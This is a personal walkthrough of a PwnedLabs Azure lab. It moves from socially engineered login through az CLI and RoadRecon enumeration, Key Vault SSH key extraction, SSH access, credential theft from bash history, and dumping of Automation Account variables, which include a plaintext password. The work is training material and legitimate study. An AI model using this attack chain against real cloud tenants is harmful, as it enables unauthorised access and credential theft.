5. Unmask Privileged Access in Azure
This write-up is based on PwnedLabs.io’s paid module, Unmask Privileged Access in Azure, which offers top-notch content at an unbeatable price. While I’m not affiliated with PwnedLabs.io, I highly recommend their resources. Learn more about their subscription options at PwnedLabs.io/pricing.
The typical enumeration flow is as follows:
graph TD A[Tenant] --> B B[Subscription] --> C[Resources]
Description and relationships are posted here. ../Azure Services/Azure Entra
1. Credentials
Credentials were gathered using Social Engineering. A password was extracted from a provided image.
********!
The username was guessed based on the naming convention of other usernames.
az login -u matteus@megabigtech.com -p '*****!'
2. Enumeration
The process begins by enumerating resources.
$ az account list
[
{
"cloudName": "AzureCloud",
"id": "2590ccef-687d-493b-ae8d-441cbab63a72",
"isDefault": false,
"name": "N/A(tenant level account)",
"state": "Enabled",
"tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"user": {
"name": "archive@megabigtech.com",
"type": "user"
}
},
{
"cloudName": "AzureCloud",
"homeTenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"id": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
"isDefault": true,
"managedByTenants": [],
"name": "Microsoft Azure Sponsorship",
"state": "Enabled",
"tenantDefaultDomain": "megabigtech.com",
"tenantDisplayName": "Default Directory",
"tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72",
"user": {
az account tenant list
[
{
"id": "/tenants/2590ccef-687d-493b-ae8d-441cbab63a72",
"tenantId": "2590ccef-687d-493b-ae8d-441cbab63a72"
}
]
az account subscription list
[
{
"authorizationSource": "RoleBased",
"displayName": "Microsoft Azure Sponsorship",
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94",
"state": "Enabled",
"subscriptionId": "ceff06cb-e29d-4486-a3ae-eaaec5689f94",
"subscriptionPolicies": {
"locationPlacementId": "Public_2014-09-01",
"quotaId": "Sponsored_2016-01-01",
"spendingLimit": "Off"
}
}
]
It appears this account is using resources such as Virtual Machines, Public IPs, Vaults, and Network Interfaces:
az resource list
[
{
...snip...
"type": "Microsoft.Compute/virtualMachines",
...snip...
"type": "Microsoft.Network/publicIPAddresses"
...snip...
"type": "Microsoft.KeyVault/vaults"
...snip...
"type": "Microsoft.Network/networkInterfaces"
]
}
]
From this data, key information is:
Resource Group: mbt-rg-5
VM Name: AUTOMAT01
Get VM instance details:
az vm get-instance-view --resource-group "mbt-rg-5" --name "AUTOMAT01"
{
"additionalCapabilities": {
"hibernationEnabled": false,
"ultraSsdEnabled": null
},
...snip...
"ssh": {
"publicKeys": [
{
"keyData": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6mR2ZA1xLw4xONa+hQYoVGcmKMZtVU+WVQjREfDgHsDZSIjDrvXAPOQe9falxs3Wj14EjOzPyCtnq3teFr
...snip...XuLXlQTceiIlExT59UTaYFpHmpmnarE3yzCRdqHyMfdu3tmsTEp39vt+7i0= gen
erated-by-azure",
"path": "/home/automation/.ssh/authorized_keys"
}
]
}
},
There is an SSH public key, indicating potential SSH access.
2.1 Network data or IP
../Azure General/Azure Network
Using the network data, I found the public IP address: 13.68.147.240.
az network public-ip list -g "mbt-rg-5"
[ [0/359]
{
"ddosSettings": {
"protectionMode": "VirtualNetworkInherited"
},
"dnsSettings": {
"domainNameLabel": "automat01-ip",
"fqdn": "automat01-ip.eastus.cloudapp.azure.com"
},
"etag": "W/\"fa05b18d-749a-4344-8ca3-523cedb54d1b\"",
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Network/publicIPAddresses/AUTOMAT01-ip",
"idleTimeoutInMinutes": 4,
"ipAddress": "13.68.147.240",
"ipConfiguration": {
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Network/networkInterfaces/automat01641_z1/ipConfigurations/ipconfig1",
"resourceGroup": "mbt-rg-5"
},
"ipTags": [],
"location": "eastus",
"name": "AUTOMAT01-ip",
"provisioningState": "Succeeded",
"publicIPAddressVersion": "IPv4",
"publicIPAllocationMethod": "Static",
"resourceGroup": "mbt-rg-5",
"resourceGuid": "895a94a3-4ae0-4e2a-b522-58d3ca8928cf",
"sku": {
"name": "Standard",
"tier": "Regional"
},
"type": "Microsoft.Network/publicIPAddresses"
}
]
2.2 Vaults
The flow for interacting with Azure Key Vault is:
graph TD A[Identify Key Vault] --> B[Identify Key Name] B-->C[Download key]
Commands used:
az keyvault list --query "[].{Name:name, Location:location}" --output table Name Location
Devices-new eastus
az keyvault secret list --vault-name Devices-new
[
{
...snip...
"id": "https://devices-new.vault.azure.net/secrets/AUTOMAT01",
...snip...
"name": "AUTOMAT01",
az keyvault secret show --vault-name Devices-new --name AUTOMAT01
az keyvault secret download --vault-name Devices-new --name AUTOMAT01 --file AUTOMAT01.pem
Once again, more information regarding the Key Vault can be found here. ../Azure Services/Azure Key Vault
2.3 VM
For more information about the VM in the resource group mbt-rg-5:
../Azure Services/Azure Virtual Machine
az vm list --resource-group "mbt-rg-5"
"location": "eastus", "name": "AUTOMAT01",
"resourceGroup": "mbt-rg-5"
"computerName": "AUTOMAT01",
"disablePasswordAuthentication": true,
"type": "Microsoft.Compute/virtualMachines"
"vmId": "fc3e4e78-01a7-4cf2-a79c-1b897b6c951e"
Then I got the VM's public and private IP addresses
az vm list-ip-addresses --resource-group "mbt-rg-5" --name "AUTOMAT01"
[
{
"virtualMachine": {
"name": "AUTOMAT01",
"network": {
"privateIpAddresses": [
"10.1.0.4"
],
"publicIpAddresses": [
{
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Network/publicIPAddresses/AUTOMAT01-ip",
"ipAddress": "13.68.147.240",
"ipAllocationMethod": "Static",
"name": "AUTOMAT01-ip",
"resourceGroup": "mbt-rg-5",
"zone": null
}
]
},
"resourceGroup": "mbt-rg-5"
}
}
]
3. Recon with RoadRecon
../Azure General/Tool- RoadRecon
roadrecon auth -u matteus@megabigtech.com -p *****!
Tokens were written to .roadtools_auth
roadrecon gather
Starting data gathering phase 1 of 2 (collecting objects)
Starting data gathering phase 2 of 2 (collecting properties and relationships)
Done processing 26/26 groups
Yeah!
Results indicated that Matt is a member of the Device-Admins and Default Directory groups.
This indicates that Matt is the owner of the Device Admins Group.
We can do the same thing with az. ../Azure General/AZ CLI
az ad signed-in-user list-owned-objects
[
{
"@odata.type": "#microsoft.graph.group",
"classification": null,
"createdDateTime": "2023-11-30T16:44:40Z",
"creationOptions": [],
"deletedDateTime": null,
"description": "Allows resources to be assigned to desktop support team",
"displayName": "DEVICE-ADMINS",
...snip...
"id": "aff1bca2-0c41-44e9-8e2c-8d6ca50fec45",
"isAssignableToRole": true,
...snip...
"securityIdentifier": "S-1-12-1-2951855266-1156123713-1821191310-1173098405", ...snip...
}
]
4. Enumerating Key Vault - Get SSH private file
This is a great start../Azure Services/Azure Key Vault
https://learn.microsoft.com/en-us/cli/azure/keyvault?view=azure-cli-latest
az keyvault list --query "[].{Name:name, Location:location}" --output table
Name Location
----------- ----------
Devices-new eastus
az ad user list --query "[].{Name:displayName, UPN:userPrincipalName}" --output table
Matteus Lundgren matteus@megabigtech.com
az ad user show --id matteus@megabigtech.com --query "id"
"0dd32296-20f5-447c-b879-c57922db1ff0"
az keyvault show --name Devices-new --query "properties.accessPolicies"
[]
Can't make much progress. Let's go for secrets.
az keyvault secret list --vault-name Devices-new
[
...snip...
"id": "https://devices-new.vault.azure.net/secrets/AUTOMAT01",
"managed": null,
"name": "AUTOMAT01",
"tags": {
"file-encoding": "ascii"
}
}
]
az keyvault secret show --vault-name Devices-new --name AUTOMAT01
{
...snip...
"id": "https://devices-new.vault.azure.net/secrets/AUTOMAT01/80776fe595c64551a061e38de06eedab",
...snip...
"name": "AUTOMAT01",
"tags": {
"file-encoding": "ascii"
},
"value": "-----BEGIN RSA PRIVATE KEY-----\nMIIG4gIBAAKCAYEAupkdmQNcS8OMTjWvoUGKFRnJijGbVVPllUI0RHw4B7A2UiIw\n671wDzkHvX2pc...snip...\n-----END RSA PRIVATE KEY-----\n"
}
az keyvault secret download --vault-name Devices-new --name AUTOMAT01 --file AUTOMAT01.pem
chmod 600 ./AUTOMAT01.pem
ssh -i AUTOMAT01.pem automation@13.68.147.240
5. Bash History!
Then got Serene's credential from Bash history!
automation@AUTOMAT01:~$ cat ./.bash_history
ls -al
pwd
mkdir scripts
az group list
az login -u "serene@megabigtech.com" -p "*****!"
6. Hi Serena. - Automation Account
Let's get to know Serena more. She doesn't own any object but I see something unusual. She has an automation account. What is automationAccount?
../Azure Services/Azure Automation
Basically, it is a centralized server for scheduled jobs, also it may have good information. It is crucial to check shared resources on automationAccount. Azure Automation
Serene's is a DevOps Engineer and she has a automation-dev resource.
az ad signed-in-user show
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users/$entity",
"businessPhones": [],
"displayName": "Serene Hall",
"givenName": null,
"id": "78c5409e-1c5b-4ed6-85d6-cefd429cc5a6",
"jobTitle": "DevOps Engineer",
...snip...
"userPrincipalName": "serene@megabigtech.com"
}
az ad signed-in-user list-owned-objects
[]
az resource list
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Automation/automationAccounts/automation-dev",
...snip...
"location": "eastus",
"managedBy": null,
"name": "automation-dev",
...snip...
"provisioningState": "Succeeded",
"resourceGroup": "mbt-rg-5",
...snip...
"type": "Microsoft.Automation/automationAccounts".
az automation account list
...snip...
[
{
...snip...
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Automation/automationAccounts/automation-dev",
...snip...
"location": "eastus",
"name": "automation-dev",
"privateEndpointConnections": null,
"publicNetworkAccess": true,
"resourceGroup": "mbt-rg-5",
...snip...
"type": "Microsoft.Automation/AutomationAccounts"
}
]
6.1 Automation Variables with Azure CLI
az cli does not have command that directly pulls out the variables. However, we can retreive using the Azure Rest API.
az rest --method GET --url "https://management.azure.com/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Automation/automationAccounts/automation-dev/variables?api-version=2015-10-31
{
"value": [
{
"id": "/subscriptions/ceff06cb-e29d-4486-a3ae-eaaec5689f94/resourceGroups/mbt-rg-5/providers/Microsoft.Automation/automationAccounts/automation-dev/variables/Flag",
"name": "Flag",
"properties": {
"creationTime": "2023-12-01T16:59:04.6366667+00:00",
"description": "",
"isEncrypted": false,
"lastModifiedTime": "2023-12-01T16:59:04.6366667+00:00",
"value": "\"59f162bc63e0653af3400b10aac20a15\""
},
"type": "Microsoft.Automation/AutomationAccounts/Variables"
},
6.2 Automation with Azure Powershell
The benefit of Azure CLI is that the commands works in Linux. However, Azure Powershell's output was more readable and simpler to use.
PS> Connect-AzAccount
Please select the account you want to login with.
Subscription name Tenant
----------------- ------
Microsoft Azure Sponsorship Default Directory
PS>Get-AzAutomationAccount
SubscriptionId : ceff06cb-e29d-4486-a3ae-eaaec5689f94
ResourceGroupName : mbt-rg-5
AutomationAccountName : automation-dev
Location : eastus
PS>Get-AzAutomationCredential -ResourceGroupName mbt-rg-5 -AutomationAccountName automation-dev
UserName : dev-auto
ResourceGroupName : mbt-rg-5
AutomationAccountName : automation-dev
Name : automate-default
PS> Get-AzAutomationVariable -ResourceGroupName mbt-rg-5 -AutomationAccountName automation-dev
Value : 59f162bc63e0653af3400b10aac20a15
Encrypted : False
ResourceGroupName : mbt-rg-5
AutomationAccountName : automation-dev
Name : Flag
Value : $Autom4tion$@MBT!
Encrypted : False
ResourceGroupName : mbt-rg-5
AutomationAccountName : automation-dev